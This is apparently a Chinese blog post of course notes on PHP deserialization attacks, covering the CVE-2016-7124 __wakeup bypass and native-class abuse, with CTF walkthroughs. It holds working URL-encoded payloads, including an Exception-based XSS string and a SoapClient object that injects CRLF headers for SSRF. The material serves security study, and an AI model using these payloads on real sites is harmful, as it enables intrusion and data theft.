061-WEB攻防-PHP反序列化&原生类TIPS&CVE绕过漏洞&属性类型特征

061-WEB攻防-PHP反序列化&原生类TIPS&CVE绕过漏洞&属性类型特征

知识点

1、PHP-反序列化-属性类型&显示特征

2、PHP-反序列化-CVE绕过&字符串逃逸

3、PHP-反序列化-原生类生成&利用&配合

1、PHP-反序列化-属性类型&显示特征

1、对象变量属性:
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用
2、序列化数据显示:
public属性序列化的时候格式是正常成员名
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名

序列化数据演示

<?php
header("Content-type: text/html; charset=utf-8");
//public private protected说明
class test{
    public $name="xiaodi";
    private $age="29";
    protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
var_dump(unserialize($a));

image-20250602203138742

2、PHP-反序列化-CVE绕过&字符串逃逸

CVE-2016-7124(__wakeup:unserialize()时会被自动调用)
漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行

580444fb1a4681b61529ce7d97299718

案例演示:CVE-2016-7124 __wakeup绕过

__wakeup():会在反序列化后调用

  1. 一旦用到了unserialize __wakeup函数将会被调用
//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{
    public $sex;
    public $name;
    public $age;

    public function __construct($name, $age, $sex){
        echo "__construct被调用!<br>";
    }
    public function __wakeup(){
        echo "__wakeup()被调用<br>";
    }
    public function __destruct(){
        echo "__destruct()被调用<br>";
    }
}

$t = new Test('xiaodi','31','gay');
echo serialize($t),"<br>";
unserialize($_GET['x']);
?>

image-20250602211306559

绕过__wakeu:修改属性数量即可

  1. 生成反序列化字符串O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}<br>
  2. 传入字符串修改里面的属性数量 将4改为5
  3. 绕过成功
class Test
{
    public $sex;
    public $name;
    public $age;
}

$t=new Test();
echo serialize($t);

image-20250602211711691

[极客大挑战 2019]PHP

网址:https://buuoj.cn/

  1. 根据提示 此网站下面有个备份文件 在url 后面加上 www.zip 下载
image-20250602212700138 image-20250602212832529 image-20250602213047505
  1. 打开class.php文件 查看代码可知当username=== admin的时候 就输出flag 这个条件的调用是在__destruct里面的 触发这个魔术方法

  2. 查看index.php文件 可以看到这里用了unserialize反序列化select传入的参数

  3. 但是在class.php里面有个__ wakeup 在魔术方法里面 比 __destruct先一步调用 所以我们这里要想办法 绕过 __wakeup

  4. 修改参数 达成代码所需条件进行反序列化 再进行url编码

    O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

  5. 查看漏洞是否在漏洞区间 5.3.3存在漏洞区间

  6. 修改位数 使够找payload使得对象属性个数的值大于真实属性个数时会跳过__wakeup执行

    O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

image-20250602214611462 image-20250602213610614

image-20250602214124458

class Name
{
    private  $username = 'admin';
    private $password = '100';
}

$n = serialize(new name());
echo urlencode($n);

image-20250602215229428

image-20250602215444478

image-20250602215730756

image-20250602215756851

字符串逃逸

字符变多-str1.php str1-pop.php
字符变少-str2.php str2-pop.php

3、PHP-反序列化-原生类生成&利用&配合

参考案例:https://www.anquanke.com/post/id/264823

原生类(Native class)是指在编程语言的核心库或标准库中提供的类,这些类是语言本身提供的,而不是由用户自定义的类。原生类通常包含语言内置的功能和特性,用于解决常见的编程任务和操作。

PHP原生类使用场景:在代码中没有看到魔术方法的情况下使用的

  • 先看触发的魔术方法

  • 没写魔术方法调用逻辑代码

  • 使用魔术方法的原生类去利用

  • 获取魔术方法的原生类(脚本生成 多少和当前环境的模块开关)

  • 利用魔术方法内置的类 pop修改内置值 行成攻击

生成原生类脚本代码:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

原生类生成

  1. 可以看到我的原生类是在c 盘下面的 找到这个目录打开php.ini 查找里面的原生类开关

  2. 我这里的soap是没有打开的 将;去掉再运行

  3. 可以看到多了三个原生类

    实战是不知道对方的原生类开关开没开 可以在本地多生成一些原声类 生成的原生类多一些利用的机会也就多一些

image-20250603085751410

image-20250603085857969

image-20250603085917799

image-20250603090007574

原生类利用

  1. 可以将我们的原生类复制到官网上查看如何使用 这里以Exception::__toString为例 写了说明和使用方法

image-20250603090654171

image-20250603090757548

简单案例-本地代码

  1. 我们使用Exception生成一个带有xss的异常消息 用序列化在用url编码构造我们的payload
  2. 打开我们的本地文件xssdemo.php内容如下
  3. 这里是用k传参将我们的payload复制上去 弹出我们的xiaodi

为什么没有写 __toString() 方法却仍然可以触发它?

  1. 使用的类(如 Exception内置实现了 __toString() 方法,即使你自己没有写,它在类内部已经定义好了。
  2. PHP 对象在被 echo 时自动调用 __toString()在 PHP 中,当你对一个对象使用 echoprint,PHP 会自动尝试调用该对象的魔术方法 __toString()
  3. Exception 类内部实现了 __toString()虽然 Exception 类没有 __toString() 方法,但它实现了 __toString() 接口(可以输出 message 等信息),所以:
  4. 由于构造函数中传入了你控制的字符串(比如 <script>alert("x")</script>),这些字符串最终也出现在 __toString() 的返回值中,就被输出到页面上,从而触发了 XSS
echo $a;
实际上等效于:
echo $a->__toString();

O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A32%3A%22%3Cscript%3Ealert%28%27xiaodi%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A38%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cdemo01%5Cpop%5Cpop.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A65%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

$a = new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
image-20250603091449873

image-20250603091604879

CTFSHOW-Web259

  1. 这里将传过来的接受的参数进行反序列化 调用了一个不存在的方法getFlag()

  2. 调用不存在的方法触发__call(因为getflag方法是不存在的,所以调用该魔术方法)

  3. 这关代码提示显示 要求token==ctfshow 并且ip地址要为127.0.0.1 所以我们使用ssrf去通关

  4. 无代码通过原生类SoapClient(只生成_call方法的原生类)

  5. 构造pop链 传入 再访问flag.txt

    O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A129%3A%22ceshi%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

    <?php
    $ua = "ceshi\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
    $client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));
    
    echo urlencode(serialize($client));
    ?>
    
image-20250603111602521

image-20250603111659520

image-20250603112146943

image-20250603112725841

image-20250603113059950

image-20250603115250922

image-20250603115256667

posted @ 2025-09-19 18:19  0xMouise  阅读(8)  评论(0)    收藏  举报